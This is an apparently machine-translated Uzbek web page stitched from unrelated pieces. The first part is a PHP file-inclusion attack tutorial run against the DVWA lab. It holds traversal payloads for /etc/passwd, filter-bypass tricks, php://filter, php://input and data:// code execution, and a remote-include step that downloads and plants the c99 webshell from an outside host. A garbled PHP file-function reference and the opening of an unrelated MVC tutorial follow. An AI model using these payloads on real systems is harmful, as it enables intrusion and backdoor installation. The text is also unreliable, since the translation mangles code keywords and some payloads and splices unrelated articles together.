PHP faylni xayoliy ko'rish. Fayl - fayl mazmunini o'qiydi va uni massivga joylashtiradi. Serverda fayllar bilan ishlash

Ba'zida faylni kiritish inklyuziya deb ataladi, ba'zida u PHP in'ektsiyasi (kodni kiritish) qismi sifatida ko'rib chiqiladi. Ikkinchisi mutlaqo to'g'ri emas, chunki fayllarni in'ektsiya qilish zaifliklari kodning bajarilishi bilan bog'liq emas.

Zaiflik (PHPda) quyidagi kabi ifodalardan foydalanganda yuzaga kelishi mumkin:

  • bir marta_talab,
  • bir marta kiritish,
  • o'z ichiga oladi,
  • talab qiladi

Ularning har birida kichik nuanslar bor, lekin ularning umumiy tomoni shundaki, ular dasturga faylni kiritadilar va uni bajaradilar. Bu iboralar foydalanuvchi kiritgan maʼlumotlardan oʻtib, dastur yetarlicha filtrlamasa, muammolarga olib kelishi mumkin.

Aytgancha, ha, bu funktsiyalar emas, balki ifodalar. Bunday yozish shart emas:

Require("somefile.php");

Eng maqbul variant:

"somefile.php" ni talab qilish;

Ammo bu zaiflik bilan hech qanday aloqasi bo'lmagan chekinishdir.

Agar fayllar require_once, include_once, include, require iboralari yordamida kiritilgan bo'lsa, kodni kiritish ham bir vaqtning o'zida sodir bo'ladi, deyishimiz mumkin. Biroq, serverda ishlaydigan kodsiz fayllarni kiritish mumkin. Misol uchun, veb-sayt foydalanuvchi tanlagan mavzuga qarab o'z ko'rinishini o'zgartiradi. Mavzular nomi serverda o'qiladigan HTML fayllar nomiga mos keladi. Bunday holatda, agar so'rov bu uchun mo'ljallanmagan faylni (masalan, PHP fayli) o'qish uchun shakllantirilgan bo'lsa, u holda buyruqlarni bajarish o'rniga PHP manba kodi ko'rsatiladi.

Foydalanuvchi masofaviy yoki mahalliy faylni kiritish fayli sifatida belgilashi mumkin. Shunga asoslanib, ikkita mos nav ajratiladi:

  • mahalliy faylni kiritish
  • masofaviy faylni kiritish

Masofaviy qo'shilish xavfi zaif serverda o'zboshimchalik bilan kodning bajarilishidir. Bu odatda orqa eshik infektsiyalari uchun ishlatiladi.

Mahalliy fayllarni kiritish xavfi shundaki, foydalanuvchi ko'rish huquqiga ega bo'lmagan fayllar tarkibini (dastur manba kodlari, sozlamalar va parollar bilan tizim fayllari) ko'rsatishi mumkin. Bundan tashqari, mahalliy inklyuziya bilan, agar zararli kodli fayl ilgari serverga yuklangan bo'lsa yoki jurnalni zaharlash usuli yoki boshqa usullardan foydalanilgan bo'lsa, uchinchi tomon kodini (masalan, orqa eshik infektsiyasi uchun) bajarish mumkin.

Fayllarni mahalliy kiritish masofaviy fayllarni kiritishdan kam xavfli emas.

Mahalliy fayllarni o'rnatishdan foydalanish

Damn Vulnerable Web Application (DVWA) da ushbu zaiflikda o'z kuchingizni sinab ko'rishingiz mumkin. Men DVWA allaqachon o'rnatilgan Web Security Dojo'dan foydalanmoqdaman.

Keling, past darajadan boshlaylik (past DVWA xavfsizligi).

Keling, faylni kiritish sahifasiga o'tamiz http://localhost/dvwa/vulnerabilities/fi/?page=include.php

  • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

Agar fayl nomiga o'xshash qiymat (file1.php, file2.php) o'zgaruvchiga argument sifatida uzatilsa, unda biz kiritish ishlatilmoqda deb taxmin qilishimiz mumkin. Fayl kengaytmasi .php bo'lgani uchun fayl katta ehtimollik bilan serverda bajariladi (ya'ni kodni kiritish mumkin) va faqat ko'rsatish uchun ko'rsatilmaydi.

DVWA-ning http://localhost/dvwa/about.php sahifasi bor, u ikki daraja yuqorida joylashgan, keling, uni shunday ko'rishga harakat qilaylik: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./ about.php

Ha, mahalliy inklyuziya zaifligi mavjud. Kiritish paytida yuqori kataloglarga o'tish (../) filtrlanmaydi, qo'shilishi mumkin bo'lgan fayllar ro'yxati to'liq emas (tavsiya etilgan fayl*.php o'rniga biz about.php ni tanladik).

Ba'zan kiritilgan fayllar ishlatiladi, lekin manzillar, masalan, quyidagicha ko'rinishi mumkin: http://localhost/dvwa/vulnerabilities/fi/?page=file1. Bunday holda, skriptga kengaytma qo'shilishi mumkin va skript oxirida nomi skriptda shakllanadigan faylni joylashtiradi. Odatda, ushbu shakldagi zaiflikdan foydalanish qiyin/mumkin emas.

Ko'pincha odamlar mahalliy fayl qo'shilishidan foydalanish misoli sifatida shunga o'xshash narsalarni berishni yaxshi ko'radilar:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

Ko'rib turganimizdek, u ishladi. Ammo veb-brauzerlar /r/n (yangi qator belgilar) e'tiborsiz qoldirganligi sababli, yozuvlarni o'qish uchun kodni ochishimiz kerak:

Afsuski, /etc/passwd faylida uzoq vaqt davomida parollar yo'q.

Serverdan siz turli xil sozlamalar fayllarini, SSL sertifikatlarini, asosan, barcha foydalanuvchilar tomonidan o'qish uchun ochiq bo'lgan yoki veb-server o'qish uchun etarli huquqlarga ega bo'lgan har qanday faylni olishingiz mumkin:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

Birgalikda hostinglarga kelsak, ba'zida boshqa odamlarning papkalarini ko'rib chiqish mumkin (yana, agar foydalanuvchi huquqlari noto'g'ri sozlangan bo'lsa).

http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

Vazifa biz faylga yo'lni bilishimiz kerakligi bilan murakkablashadi.

Masofaviy faylni kiritishning ishlashi

PHP juda moslashuvchan va ishlab chiquvchilar uchun qulay dasturlash tilidir. Fayllarni o'rnatish buyruqlari va boshqalar nafaqat mahalliy fayllarni, balki URL manzillarini ham mukammal taniydi va to'g'ri qayta ishlaydi...

Fayl nomi o‘rniga sayt URL manzilini https://site/ yozishga harakat qilaylik:

http://localhost/dvwa/vulnerabilities/fi/?page=https://site/

Qarang, bu qanchalik qiziq:

Bu sodir bo'ldi: PHP tarjimoni https://site/ fayl/saytni kiritish buyrug'ini oldi. U tegishli manzilni ochdi/yuklab oldi va natijada olingan kodni PHP dasturi sifatida bajarish uchun yubordi. PHP faqat tegishli teglar bilan o'ralgan kodni bajaradi (bu holda umuman kod yo'q edi) va qolgan hamma narsani avvalgidek chiqaradi, butun veb-sayt sahifasi xuddi shunday chiqariladi.

Albatta, bu zaiflik biz uchun qiziq emas, chunki biz bitta sayt orqali boshqa saytlarni ko'rishimiz mumkin.

  • Backdoor manba kodini yaratish/topish
  • Biz serverda bajarish uchun PHP nuqtai nazaridan to'g'ri bo'lgan faylni yaratamiz, u PHP faylida backdoor manba kodini saqlaydi.
  • Qabul qilingan kodni TEXT fayliga saqlang
  • Ushbu matn faylini boshqariladigan serverga yuklang
  • Biz orqa eshikni himoyasiz serverda masofaviy fayl qo'shilishi yordamida saqlaymiz
  • Men "matn" so'zini ta'kidladim, chunki bizning nazoratimiz ostidagi serverda bizning serverimizda bajarilmasligi kerak bo'lgan matnli fayl bo'lishi kerak. Bizning serverimiz faqat uning mazmunini ko'rsatishi kerak.

    Orqa eshikni yaratish uchun siz Weevely, PhpSploit-dan foydalanishingiz yoki tayyor echimlarni olishingiz mumkin. Keling, bu safar tayyor narsadan foydalanamiz.

    Men $backdoor o'zgaruvchisiga Github'dan yuklab olgan orqa eshikning manba kodini tayinlayman. Keyin olingan manba kodini c99unlimited.php fayliga saqlash uchun file_put_contents funksiyasidan foydalanaman.

    Men matnli faylga joylashtirgan kod

    $backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); echo "bajarildi!";

    U http://miloserdov.org/sec.txt manzilida mavjud

    Endi masofadan boshqarish pultidan foydalanib, zaif serverga orqa eshikni yuklaymiz.

    http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

    Bajarilgan yozuvga e'tibor bering!, u skript tomonidan ko'rsatiladi, ya'ni. ehtimol hamma narsa amalga oshdi.

    Fayllarni o'z ichiga olgan skript http://localhost/dvwa/vulnerabilities/fi/ katalogida joylashganligi sababli va bizning orqa eshikli yangi faylimiz c99unlimited.php nomi bilan saqlanishi kerak edi, orqa eshikning to'liq manzili zaif server bo'lishi kerak: http: //localhost/dvwa/vulnerabilities/fi/c99unlimited.php

    Biz tekshiramiz:

    Ajoyib, endi bizda veb-server ma'muriga kerak bo'lishi mumkin bo'lgan barcha funksiyalar mavjud... va ularning serveriga kirish huquqiga ega bo'lganlar.

    Fayllarni mahalliy sifatida kiritishda filtrlashni chetlab o'tish

    Keling, xavfsizlikning o'rtacha darajasiga o'tamiz (DVWA Security-da sozlanishi).

    Agar manba kodiga qarasak (Manbani ko'rish tugmasi):

    keyin ../ belgilar filtrlanganligini ko'ramiz. Bu zaif skript ishlayotgan katalogdan yuqoriroq katalogga o'tishimizga to'sqinlik qiladi.

    Bular. hech narsa shunday ishlamaydi:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

    Keling, bu holatda filtrlash qanday ishlashi haqida o'ylab ko'raylik? Aytaylik, "yomon" so'zi filtrlanadi, keyin esa o'xshash chiziq

    yaxshi yomon yaxshi

    filtrlashdan keyin u quyidagicha ko'rinadi:

    yaxshi yaxshi

    Va agar siz shunday qatorni qo'shsangiz

    yomon yomon xo

    keyin filtrlashdan keyin ("yomon" o'chiriladi) u chiqadi

    Yomon

    ../ ichida biz yana o'rtaga ../ kiritamiz, u ..././ chiqadi.

    Keling, ushbu manzilni sinab ko'ring http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / my.cnf

    Bu ishladi!

    Boshqa vaqtinchalik yechim belgilarni o'n oltilik kodlashda kodlash bo'lishi mumkin, bu qatorga misol:

    http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

    “../” “%2E%2E%2f” bilan almashtirilishi mumkin.

    Ikki tomonlama olti burchakli kodlash ham qo'llaniladi, unda "../" "% 252E% 252E% 252F" bilan almashtiriladi.

    Skriptga kengaytma qo'shganda fayllarni mahalliy kiritish

    Fayllarni o'z ichiga olgan kod quyidagicha ko'rinsa:

    Bular. Agar har qanday foydalanuvchi kiritishiga .php yoki boshqa kengaytma qo'shilsa, bu so'rovni hujumni amalga oshiradigan tarzda shakllantirishga imkon bermaydi.

    Kengaytmani bekor qilish uchun mo'ljallangan bir nechta texnikalar mavjud, ammo ular PHP 5.3 da ishlagani uchun eskirgan deb hisoblash mumkin, va hatto barcha versiyalarda ham emas. Biroq, veb-server ma'murlari klinik jihatdan konservativ va agar u ishlayotgan bo'lsa, hech narsaga tegmaslikni afzal ko'radi. Bular. PHP ning juda qadimiy versiyasiga ega bo'lgan serverga duch kelish ehtimoli bor va siz ushbu usullardan xabardor bo'lishingiz kerak.

    %00 null baytdan foydalanish (null bayt)

    Kengaytmani e'tiborsiz qoldirish uchun so'rov oxirida null bayt qo'shiladi:

    http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

    Ikkinchi usul yo'lni kesish hujumi deb ataladi. Xulosa shuki, PHP 4096 baytdan uzunroq yo'llarni qisqartiradi. Bunday holda, PHP faylni, hatto uning nomi oxirida qiyshiq chiziq va nuqtalar bo'lsa ham, to'g'ri ochadi. Agar siz parametr sifatida?param1=../../../../etc/passwd/./././././ (bu erda ./ minglab marta takrorlanadi) kabi biror narsani o'tsangiz, u holda yakuniy fayl kengaytmasi bilan birga (skript qo'shilgan, buning natijasida fayl nomi o'z ichiga oladi/../../../../etc/passwd/./././././ .php) o'chirib tashlanadi. Va fayl nomi o'z ichiga oladi/../../../../etc/passwd/./././././. Va PHP fayl oxiridagi slash va ./ bilan adashmaganligi sababli, ularni e'tiborsiz qoldiradi, jami PHP faylni /../../../../etc/ yo'li bo'ylab ochadi. passwd.

    Fayllarni masofaviy kiritish uchun filtrlashni chetlab o'tish

    Manba kodida allaqachon ko'rganimizdek, o'rtacha xavfsizlik darajasi http:// va https:// ni ham filtrlaydi.

    Endi http://localhost/dvwa/vulnerabilities/fi/? Biz mahalliy inklyuziya bilan filtrlashni chetlab o'tish uchun aynan bir xil texnikadan foydalanamiz. Yaratilgan so'rov:

    http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/

    Va shuningdek, filtrlanmaganligiga e'tibor bering, masalan, ftp, ya'ni. Ushbu parametr hech qanday hiyla-nayranglarsiz ishlaydi:

    http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/

    php://filtrdan fayllarni kiritishda PHP skriptlarining manba kodini olish

    Ushbu hiyla masofaviy faylni kiritishni talab qilmaydi. php://filtrning bir turidan foydalaniladi.

    Aytaylik, biz file1.php faylining manba kodini ko'rmoqchimiz, keyin bizning vaziyatimiz uchun so'rov quyidagicha tuziladi:

    http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

    Harflar va raqamlarning ma'nosiz qatoriga e'tibor bering - bu base64 kodlashdagi file1.php faylining manba kodi. U base64 bo'lgani uchun ikkilik fayllar ham qo'llab-quvvatlanadi.

    Faylni dekodlaymiz:

    php://input bilan masofadan turib kodni bajarish

    Bu faylni joylashtirishga o'xshamaydi va yana fayllarni yuklashingizni talab qilmaydi.

    Yordam berish uchun men FireFox kengaytmasidan foydalanaman, siz undan yoki POST usuli yordamida ma'lumotlarni uzatishi mumkin bo'lgan boshqa dasturdan (masalan, curl) foydalanishingiz mumkin.

    php://input HTTP so'rovining xom ashyosiga kirish huquqiga ega, include("php://input") nima qilishini tushunish uchun sahifani oching.

    http://localhost/dvwa/vulnerabilities/fi/?page=php://input

    Va so'rovning asosiy qismida to'g'ri PHP kodini yuboring (masalan, POST usuli yordamida). Bu sizga masofaviy serverda ruxsat etilgan har qanday funktsiyani bajarishga imkon beradi!

    Data bilan masofadan kodni bajarish: //

    Bundan tashqari, PHP data:// URL sxemasini qo'llab-quvvatlaydi.Siz kodni to'g'ridan-to'g'ri GET parametriga joylashtirishingiz mumkin! Quyidagi test hech qanday maxsus vositalarni talab qilmaydi, hujumni amalga oshirish uchun oddiy brauzer kerak.

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

    Ba'zi veb-ilovalar xavfsizlik devorlari URL manzilida shubhali qatorni ko'rishi va zararli so'rovni bloklashi mumkin. Lekin kamida base64 kodlash bilan satrni shifrlashning bir usuli bor:

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

    /proc/self/environ dan ixtiyoriy buyruqlarni bajaring

    /proc/self/environ - bu jarayon o'zgaruvchisini saqlash. Agar Apache jarayoni unga kirish uchun etarli huquqlarga ega bo'lsa, shunga o'xshash URL manzili bo'lgan qo'shimchani o'z ichiga olgan veb-sahifani ochganda,

    www.website.com/view.php?page=../../../../../proc/self/environ

    kabi narsalarni chiqaradi

    DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Versiya/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=SOLOVNI OLING./s.f.x. %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx.6x [elektron pochta himoyalangan] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

    HTTP_USER_AGENT ga e'tibor bering. Buning o'rniga siz uzoq serverda bajariladigan to'g'ri PHP kodini almashtirishingiz mumkin.

    Fayllarni mahalliy sifatida qo'shganda jurnallarni o'rnatish va kiritish

    Afsuski, bu usul endi Apache-ning so'nggi versiyalarida ishlamaydi.

    Uning mohiyati tajovuzkorning kodi veb-server jurnallariga kiritilganligidadir. Buni User-Agent ni almashtirish yoki hatto uni GET parametriga o'tkazish orqali amalga oshirish mumkin.

    Masofaviy faylni statik in'ektsiya qilish

    Statik misollar quyidagilarni o'z ichiga oladi:

    Siz juda ekzotik holatlarda statik inklyuziyadan foydalanishingiz mumkin. Zararli kodni kiritish uchun ikkita server o'rtasida odam-in-the-middle hujumini amalga oshirish kerak: ulardan biri veb-ilovani o'z ichiga oladi, ikkinchisi esa qo'shish uchun ishlatiladigan faylni joylashtiradi.

    PHP file_exists("test.txt")//Fayl mavjudmi? filesize("test.txt");//Fayl hajmini bilib oling //Vaqt tamg'asi qaytarildi: fileatime("test.txt");//Faylga oxirgi kirish sanasi //date("d M Y" , $atime); filemtime("test.txt");//Faylni o'zgartirish sanasi //date("d M Y", $mtime); filectime("test.txt");//Fayl yaratilgan sana (Windows) //date("d M Y", $ctime); Fayllar: ish rejimlari PHP resursi fopen (string fayl nomi, string rejimi) // resurs - muvaffaqiyatli bo'lganda faylga ko'rsatgichni qaytaradi yoki xato bo'lsa FALSE Ishlash tartibi Tavsifr r+ w w+ A a+ b
    faqat o'qish uchun ochiq fayl;
    o'qish va yozish uchun faylni ochish;
    faylni faqat yozish uchun oching. Agar u mavjud bo'lsa, faylning joriy tarkibi yo'q qilinadi. Joriy pozitsiya boshiga o'rnatiladi;
    o'qish va yozish uchun faylni oching. Agar u mavjud bo'lsa, faylning joriy tarkibi yo'q qilinadi. Joriy pozitsiya boshiga o'rnatiladi;
    faylni yozish uchun oching. Joriy pozitsiya faylning oxiriga o'rnatiladi;
    o'qish va yozish uchun faylni oching. Joriy pozitsiya faylning oxiriga o'rnatiladi;
    ikkilik faylni qayta ishlash. Bu belgi Windowsda ikkilik fayllar bilan ishlashda talab qilinadi.
    PHP PHP da fayllarni ochish va yopish $fi = fopen("test.html", "w+") or die("Xato"); //Misollar $fi = fopen("http://www.you/test.html", "r"); $fi = fopen("http://ftp.you/test.html", "r"); //Fclose($fi) ni yopish PHP PHP da fayllarni o'qish //Faylni o'qish fread(int fi, int length) $str = fread($fi, 5); // Birinchi 5 ta belgini o'qing echo $str; // kursor ko'chirilganligi sababli $str = fread($fi, 12); // Keyingi 12 ta belgini o'qing echo $str; fgets(int fi[, int uzunligi]) // Fayldan satrni o'qish fgetss(int fi, int uzunligi [, string ruxsat etilgan]) // Fayldan satrni o'qish va HTML teglarini o'chirish // string ruxsat etilgan - teglar qoldirish kerak fgetc(int fi) //Fayldan belgini o'qiydi

    Dastlab, Write faylning boshida mavjud ma'lumotlarni, agar mavjud bo'lsa, ustiga yozish orqali sodir bo'ladi. Shuning uchun, agar siz faylning oxirigacha biror narsa yozishingiz kerak bo'lsa, tegishli o'qish rejimini o'rnatishingiz kerak, masalan, a+ .

    PHP fayllarida kursorni manipulyatsiya qilish PHP int fseek(int fi, int ofset [, int qayerdan]) //Kursorni o'rnatish // int fi - faylga ko'rsatgich //offset - ko'chirish uchun belgilar soni. //qaerdan: //SEEK_SET - harakat fayl boshidan boshlanadi; //SEEK_CUR - harakat joriy holatdan boshlanadi; //SEEK_END - harakat fayl oxiridan boshlanadi. fseek($fi, -10, SEEK_END); //Oxirgi 10 ta belgini o'qing $s = fread($fi, 10); $pos = ftell($fi); // Joriy joylashuvni aniqlang rewind($f) // kursorni qayta o'rnating bool feof($f) // fayl oxiri PHP faylida fayllar (ma'lumotlar) bilan to'g'ridan-to'g'ri ishlash PHP massiv fayli (string fayl nomi) // Tarkibni oling faylning massiv ko'rinishidagi // ma'lumotlar bilan to'g'ridan-to'g'ri ishlashning yana bir varianti file_get_contents(string fayl nomi) //O'qish (biz butun faylni bir qatorda olamiz) //Faylga yozish (dastlab qayta yozilgan) file_put_contents(string fayl nomi) , aralash ma'lumotlar[,int bayrog'i]); //FILE_APPEND // Fayl oxirigacha yozing: file_put_contents("test.txt", "data", FILE_APPEND); //Agar siz massiv yozsangiz, $array = array("Men", "jonli"); file_put_contents("test.txt",$massiv); //keyin biz "Ilive" ni olamiz PHP PHP nusxasida fayllarni boshqarish (string manbai, string destination); // Fayl nomini o'zgartirish (str oldname, str newname); // fayl nomini o'zgartirish (string fayl nomi); // Faylni o'chirish PHP serveriga fayllarni yuklash // PHP.ini sozlamalari file_uploads (yoqilgan|off) // fayl yuklanishiga ruxsat berish yoki o'chirish upload_tmp_dir // Yuklangan fayllar uchun vaqtinchalik papka. sukut bo'yicha vaqtinchalik papka upload_max_filesize (standart = 2 Mb) // maks. yuklangan fayl hajmi post_max_size // yuborilgan shaklning umumiy hajmi (load_max_filesize dan katta boʻlishi kerak) //Oddiy HTML yuklash PHP serverida fayllar bilan ishlaymiz //Maʼlumotlarni qabul qilish $tmp = $_FILES["userfile"][" tmp_name"]; $name = $_FILES["userfile"]["name"]; //Faylni ko'chiring move_uploaded_file($tmp, nomi); move_uploaded_file($tmp, "yuklash/".name); // faylni yuklash papkasiga yo'naltirish // joriy faylga nisbatan // $_FILES massivida nima bor $_FILES["userfile"]["name"] // fayl nomi, masalan, test.html $_FILES[ "userfile"][" tmp_name"] // vaqtinchalik fayl nomi (yo'l) $_FILES["userfile"]["size"] // fayl hajmi $_FILES["userfile"]["type"] // fayl turi $ _FILES["userfile"] ["error"] // 0 - xatolik yo'q, raqam - ha Ko'p odamlar loyihani bitta vazifa bilan ishlash uchun yozishni boshlaydilar, masalan, u ko'p foydalanuvchili boshqaruv tizimiga aylanishi mumkinligini anglatmaydi. , mazmuni yoki, Xudo saqlasin, ishlab chiqarish. Va hamma narsa ajoyib va ​​zo'r ko'rinadi, siz yozilgan kod butunlay tayoqchalar va qattiq kodlardan iboratligini tushunishni boshlamaguningizcha hamma narsa ishlaydi. Kod tartib, so'rovlar va tayoqchalar bilan aralashtiriladi, ba'zan hatto o'qib bo'lmaydi. Muhim muammo tug'iladi: yangi xususiyatlarni qo'shganda, siz "u erda nima yozilganligini" eslab, ushbu kod bilan juda uzoq vaqt o'ylashingiz kerak. va o'tmishda o'zingizni la'natlang.

    Siz hatto dizayn naqshlari haqida eshitgan va hatto ushbu ajoyib kitoblarni varaqlagan bo'lishingiz mumkin:

    • E. Gamma, R. Helm, R. Jonson, J. Vlissides “Ob'ektga yo'naltirilgan dizayn texnikasi. Dizayn naqshlari";
    • M.Fowler "Korxona dasturiy ta'minot ilovalari arxitekturasi".
    Va ko'pchilik, ulkan qo'llanmalar va hujjatlardan qo'rqmay, har qanday zamonaviy ramkalarni o'rganishga harakat qildilar va tushunishning murakkabligiga duch kelishdi (bir-biri bilan aqlli bog'langan ko'plab me'moriy tushunchalar mavjudligi sababli) o'rganish va foydalanishni to'xtatdilar. zamonaviy asboblar "orqa o'choqda".

    Ushbu maqola birinchi navbatda yangi boshlanuvchilar uchun foydali bo'ladi. Qanday bo'lmasin, umid qilamanki, bir necha soatdan keyin siz barcha zamonaviy veb-ramkalar asosidagi MVC naqshini amalga oshirish haqida tasavvurga ega bo'lasiz, shuningdek, "qanday qilish kerakligi" haqida keyingi fikr yuritish uchun "oziq-ovqat" olasiz. qiling.” Maqolaning oxirida veb-ramkalar nimadan iboratligini (MVC-dan tashqari) va ular qanday ishlashini tushunishga yordam beradigan foydali havolalar tanlovi mavjud.

    Tajribali PHP dasturchilari ushbu maqolada o'zlari uchun yangi narsa topa olishmaydi, ammo ularning asosiy matnga sharhlari va sharhlari juda foydali bo'ladi! Chunki Nazariyasiz amaliyot mumkin emas, amaliyotsiz esa nazariya foydasiz, keyin avval bir oz nazariya bo'ladi, keyin esa amaliyotga o'tamiz. Agar siz MVC kontseptsiyasi bilan allaqachon tanish bo'lsangiz, nazariy bo'limni o'tkazib yuborib, to'g'ridan-to'g'ri amaliyotga o'tishingiz mumkin.

    1. Nazariya MVC namunasi ilovani tuzishning oddiy usulini tavsiflaydi, uning maqsadi biznes mantiqini foydalanuvchi interfeysidan ajratishdir. Natijada, dasturni o'lchash, sinovdan o'tkazish, texnik xizmat ko'rsatish va, albatta, amalga oshirish osonroq.

    MVC naqshining kontseptual diagrammasini ko'rib chiqaylik (mening fikrimcha, bu men ko'rgan eng muvaffaqiyatli diagramma):

    MVC arxitekturasida model ma'lumotlar va biznes mantiqiy qoidalarini ta'minlaydi, ko'rinish foydalanuvchi interfeysi uchun javobgardir va boshqaruvchi model va ko'rinish o'rtasidagi o'zaro ta'sirni ta'minlaydi.

    MVC ilovasining odatiy oqimini quyidagicha tasvirlash mumkin:

  • Foydalanuvchi veb-resursga tashrif buyurganida, ishga tushirish skripti ilovaning namunasini yaratadi va uni bajarish uchun ishga tushiradi.
    Bu, aytaylik, saytning asosiy sahifasining ko'rinishini ko'rsatadi.
  • Ilova foydalanuvchidan so'rov oladi va so'ralgan boshqaruvchi va harakatni belgilaydi. Asosiy sahifada standart amal bajariladi ( indeks).
  • Ilova kontrollerni ishga tushiradi va harakat usulini ishga tushiradi,
    bu, masalan, ma'lumotlar bazasidan ma'lumotlarni o'qiydigan model qo'ng'iroqlarini o'z ichiga oladi.
  • Shundan so'ng, harakat modeldan olingan ma'lumotlar bilan ko'rinish hosil qiladi va natijani foydalanuvchiga ko'rsatadi.
  • Model - ilovaning biznes mantig'ini o'z ichiga oladi va olish (bu ORM usullari bo'lishi mumkin), qayta ishlash (masalan, tekshirish qoidalari) va aniq ma'lumotlarni taqdim etish usullarini o'z ichiga oladi, bu ko'pincha uni juda qalin qiladi, bu juda normaldir.
    Model foydalanuvchi bilan bevosita aloqada bo'lmasligi kerak. Foydalanuvchi so'roviga tegishli barcha o'zgaruvchilar tekshirgichda qayta ishlanishi kerak.
    Model HTML yoki foydalanuvchining ehtiyojlariga qarab o'zgarishi mumkin bo'lgan boshqa displey kodini yaratmasligi kerak. Bunday kod ko'rinishlarda qayta ishlanishi kerak.
    Xuddi shu model, masalan: foydalanuvchini autentifikatsiya qilish modeli ilovaning foydalanuvchi va ma'muriy qismlarida ishlatilishi mumkin. Bunday holda, siz umumiy kodni alohida sinfga ko'chirishingiz va undan meros bo'lib, uning avlodlarida sub-ilovaga xos usullarni belgilashingiz mumkin.

    Ko'rish - kontroller va modeldan olingan ma'lumotlarning tashqi ko'rinishini belgilash uchun ishlatiladi.
    Ko'rishlar HTML belgilarini va ma'lumotlarni o'tkazish, formatlash va ko'rsatish uchun PHP kodining kichik qo'shimchalarini o'z ichiga oladi.
    Ma'lumotlar bazasiga to'g'ridan-to'g'ri kirmasligi kerak. Bu modellar qilishlari kerak.
    Foydalanuvchi so'rovidan olingan ma'lumotlar bilan ishlamasligi kerak. Bu vazifani boshqaruvchi bajarishi kerak.
    Chiqishga tayyor ma'lumotlarni olish uchun kontroller yoki modellarning xususiyatlari va usullariga bevosita kirishi mumkin.
    Ko'rinishlar odatda umumiy shablonga bo'linadi, unda barcha sahifalar uchun umumiy belgilar (masalan, sarlavha va altbilgi) va shablonning modeldan ma'lumotlar chiqishini ko'rsatish yoki ma'lumotlarni kiritish shakllarini ko'rsatish uchun foydalaniladigan qismlar mavjud.

    Tekshirish moslamasi modellar, ko'rinishlar va boshqa komponentlarni ishlaydigan dasturga bog'laydigan elimdir. Nazoratchi foydalanuvchi so'rovlarini qayta ishlash uchun javobgardir. Tekshirish moslamasida SQL so'rovlari bo'lmasligi kerak. Ularni modellarda saqlash yaxshidir. Tekshirish moslamasida HTML yoki boshqa belgilar bo'lmasligi kerak. Buni ko'rib chiqishga arziydi.
    Yaxshi ishlab chiqilgan MVC ilovasida kontrollerlar odatda juda nozik va bir necha o'nlab kod satrlarini o'z ichiga oladi. CMS Joomla'da ahmoq yog'li nazoratchilar (SFC) haqida ham shunday deyish mumkin emas. Kontroller mantig'i juda tipik va uning ko'p qismi asosiy sinflarga o'tkaziladi.
    Modellar, aksincha, juda qalin va ma'lumotlarni qayta ishlash bilan bog'liq kodning ko'p qismini o'z ichiga oladi, chunki Undagi ma'lumotlar strukturasi va biznes mantig'i odatda ma'lum bir dasturga xosdir.

    1.1. Front Controller va Page ControllerKo'p hollarda foydalanuvchining veb-ilova bilan o'zaro aloqasi havolalarni bosish orqali amalga oshiriladi. Endi brauzeringizning manzil satriga qarang - siz ushbu matnni ushbu havoladan oldingiz. Boshqa havolalar, masalan, ushbu sahifaning o'ng tomonidagilar, sizni turli xil tarkib bilan ta'minlaydi. Shunday qilib, havola veb-ilovaga ma'lum bir buyruqni ifodalaydi.

    Umid qilamanki, siz turli saytlar manzillar panelini yaratish uchun mutlaqo boshqa formatlarga ega bo'lishi mumkinligini allaqachon payqadingiz. Har bir format veb-ilovaning arxitekturasini ko'rsatishi mumkin. Garchi bu har doim ham shunday bo'lmasa-da, aksariyat hollarda bu aniq haqiqatdir.

    Keling, bir nechta matn va foydalanuvchi profilini ko'rsatadigan manzil satrining ikkita variantini ko'rib chiqaylik.

    Birinchi variant:

  • www.example.com/article.php?id=3
  • www.example.com/user.php?id=4
  • Bu erda har bir skript ma'lum bir buyruqni bajarish uchun javobgardir.

    Ikkinchi variant:

  • www.example.com/index.php?article=3
  • www.example.com/index.php?user=4
  • Va bu erda barcha qo'ng'iroqlar bitta index.php skriptida sodir bo'ladi.

